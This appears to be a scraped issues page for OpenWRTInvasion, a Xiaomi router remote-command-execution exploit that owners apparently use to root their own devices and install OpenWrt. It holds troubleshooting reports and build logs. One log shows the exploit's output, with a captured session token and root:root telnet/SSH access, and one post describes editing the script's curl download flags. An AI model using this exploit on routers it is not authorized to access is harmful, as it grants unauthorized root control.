copying lib/Crypto/SelfTest/Cipher/common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_DES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_ARC2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_Blowfish.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_XOR.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_pkcs1_15.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA224.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_RIPEMD.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA512.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA384.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_HMAC.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_AllOrNothing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_rfc1751.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_chaffing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_KDF.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_importKey.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_ElGamal.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test_rpoolcompat.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test_random.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test__UserFriendlyRNG.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaGenerator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaAccumulator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_SHAd256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_posix.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_generic.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_fallback.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_nt.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_Counter.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_asn1.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_number.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/test_pkcs1_pss.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/test_pkcs1_15.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/AllOrNothing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/KDF.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/Chaffing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_slowmath.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/pubkey.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/ElGamal.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/PKCS1_PSS.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/PKCS1_v1_5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
Skipping optional fixer: buffer
Skipping optional fixer: idioms
Skipping optional fixer: set_literal
Skipping optional fixer: ws_comma
running build_ext
running build_configure
warning: GMP or MPIR library not found; Not building Crypto.PublicKey._fastmath.
building 'Crypto.Hash._MD2' extension
creating build/temp.macosx-10.14.6-x86_64-3.8
creating build/temp.macosx-10.14.6-x86_64-3.8/src
xcrun -sdk macosx clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -fwrapv -Wall -iwithsysroot/System/Library/Frameworks/System.framework/PrivateHeaders -iwithsysroot/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.8/Headers -arch arm64 -arch x86_64 -std=c99 -O3 -fomit-frame-pointer -Isrc/ -I/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/include/python3.8 -c src/MD2.c -o build/temp.macosx-10.14.6-x86_64-3.8/src/MD2.o
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:32:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:807:2: error: Unsupported architecture
#error Unsupported architecture
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:33:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/machine/_types.h:34:2: error: architecture not supported
#error architecture not supported
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:55:9: error: unknown type name '__int64_t'
typedef __int64_t __darwin_blkcnt_t; /* total blocks /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:56:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_blksize_t; /
preferred block size /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:57:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_dev_t; /
dev_t /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:60:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_gid_t; /
[???] process and group IDs /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:61:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_id_t; /
[XSI] pid_t, uid_t, or gid_t*/
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:62:9: error: unknown type name '__uint64_t'
typedef __uint64_t __darwin_ino64_t; /* [???] Used for 64 bit inodes /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:68:9: error: unknown type name '__darwin_natural_t'
typedef __darwin_natural_t __darwin_mach_port_name_t; /
Used by mach /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:70:9: error: unknown type name '__uint16_t'; did you mean '__uint128_t'?
typedef __uint16_t __darwin_mode_t; /
[???] Some file attributes /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:71:9: error: unknown type name '__int64_t'
typedef __int64_t __darwin_off_t; /
[???] Used for file sizes /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:72:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_pid_t; /
[???] process and group IDs /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:73:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_sigset_t; /
[???] signal set /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:74:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_suseconds_t; /
[???] microseconds /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:75:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_uid_t; /
[???] user IDs /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:76:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_useconds_t; /
[???] microseconds */
^
note: '__uint128_t' declared here
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:43:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_wctype_t;
^
note: '__uint128_t' declared here
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:64:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types/_size_t.h:31:9: error: unknown type name '__darwin_size_t'
typedef __darwin_size_t size_t;
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:152:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types/_ssize_t.h:30:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/machine/types.h:37:2: error: architecture not supported
#error architecture not supported
^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
error: command 'xcrun' failed with exit status 1
----------------------------------------
ERROR: Command errored out with exit status 1: /Library/Developer/CommandLineTools/usr/bin/python3 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"'; file='"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-record-y1dc7wiu/install-record.txt --single-version-externally-managed --compile Check the logs for full command output.
WARNING: You are using pip version 19.2.3, however version 20.2.3 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
riovo@Rs-MacBook-Pro OpenWRTInvasion %

Can't execute using VPN connection

Hi!

You may skip everything until UPD2.

I've exploited my router before (haven't checked which firmware version it was) with v.0.0.1. Everything was fine. Then I've flashed latest OpenWRT snapshots a couple of times. When I realized that OpenWRT greatly cuts the connection speed, I decided to return to the stock firmware from this repository (used bootp and tftp method after bricking router with sysupgrade ... command).

Now, I want to run exploit v.0.0.3 (both cloned it from master branch and downloaded from releases) and I have following problems with it:

Uploading script...
{"code":1629,"msg":"解压失败,可能文件已经损坏"}
Executing command...
{"code":1588,"msg":"测速失败,您可以尝试重新测试"}

For convenience, I translated the messages:

  • 1629: Unzip failed, file may be damaged
  • 1588: Speed test failed, you can try to retest

My environment is: Debian Stretch, Python 3.5.3.

May I ask you to advise me something?

UPD: I am surprised, but v.0.0.1 still works for me.

UPD 2: Finally, I've figured out why it fails. The router returns the same error (1629) for the v.0.0.1 too, however, this is not the problem at all (it just works). The problem is that I am using a VPN (L2TP) connection and the router cannot download the busybox. That's all.
Next my step was adding --interface l2tp-vpn to curl command in script.sh, then I've got curl: (51) Error (It usually happens when the certificate does not match with the host name). So, I've added --insecure option and voila, it worked.

Regards.

Lici install problem

root@OpenWrt:# opkg update
Downloading http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/packages/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_core
Downloading http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/packages/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/base/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_base
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/base/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/luci/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_luci
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/luci/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/packages/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_packages
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/packages/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/routing/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_routing
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/routing/Packages.sig
Signature check passed.
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/telephony/Packages.gz
Updated list of available packages in /var/opkg-lists/openwrt_telephony
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/telephony/Packages.sig
Signature check passed.
root@OpenWrt:
# opkg install luci
Installing luci (git-20.200.48516-dcac704) to root...
Downloading http://downloads.openwrt.org/snapshots/packages/mipsel_24kc/luci/luci_git-20.200.48516-dcac704_all.ipk
Collected errors:

  • satisfy_dependencies_for: Cannot satisfy the following dependencies for luci:
  •  kernel (= 5.4.52-1-81cda4f04181e61954d91615ef38462c)
    
  • opkg_install_cmd: Cannot install package luci.
    root@OpenWrt:~# uname -a
    Linux OpenWrt 5.4.43 #0 SMP Fri Jun 5 20:03:26 2020 mips GNU/Linux

Solved : code 1629

First proposed on Issues 17, 20 May

I solved the problem several days later, but I didn't remember to record it on Github. Now for some reason, I have to access this project again, and I'll share how I solved it.

"code 1629 " is a debug feedback, normally operating as the project demonstrates, 1629 it won't appear.
But "code 1629 " is always there, it's a rewrite backup protection mechanism. As long as you use some debug measurement, it'll appear from the background.
So the problem I met has nothing to do with 1629.

The breakdown in this project comes from a China mainland network problem. And the breakdown won't emerge on aboard devices.
If you operate in China mainland, choose the 'Global' option on your ladder tools, and everything will be right.

2020-08-16

r1 code=1629

when i exec "remote_command_execution_vulnerability.py", it told "done". but I still can't telnet into my router.
after that I find result in upload config file part said:
“ start uploading config file... r1={"code":1629,"msg":"解压失败,可能文件已经损坏"}”
It mean unzip fail, file may destoryed.
what should i do?

Unzip error, SSH/Telnet Connection refused.

ravi@DESKTOP-ODEG9VL:/mnt/d/router4C/OpenWRTInvasion$ python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 192.168.31.1]: 192.168.1.25
stok: fd74670fe216b01b93afe6190182ec43
****************
router_ip_address: 192.168.1.25
stok: fd74670fe216b01b93afe6190182ec43
****************
start uploading config file...
{"code":1629,"msg":"Unzip error, file is not intack"}
start exec command...
{"download":0,"bandwidth":0,"code":0}
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.1.25
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
* ftp: using a program like cyberduck

Product : Mi Router 4C
Firmware : 2.14.128 [English] ( I can't find firmware that works : 2.14.81 )

<help needed> did i brick my router?

following the directions in the README.md, i got into the router and downloaded the firmware image, checked the md5 and its correct.
while installing the OpenWrt, the CLI prints 'rebooting' in the end, and the connection was done.
there is no wifi, and wired connection to LAN port is also unavialeable.
i thought i had did it right, could you give me some instructions?

MI router 4 - stok versions

Exploit script stop working after updating the router.
The last firmware version seems to be: 2.26.134

I think the problem is that I'm using the old stok version in script...but unfortunately I can't check the correct version myself.

Is it possible to get the list of possible stok versions on official forums, etc?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.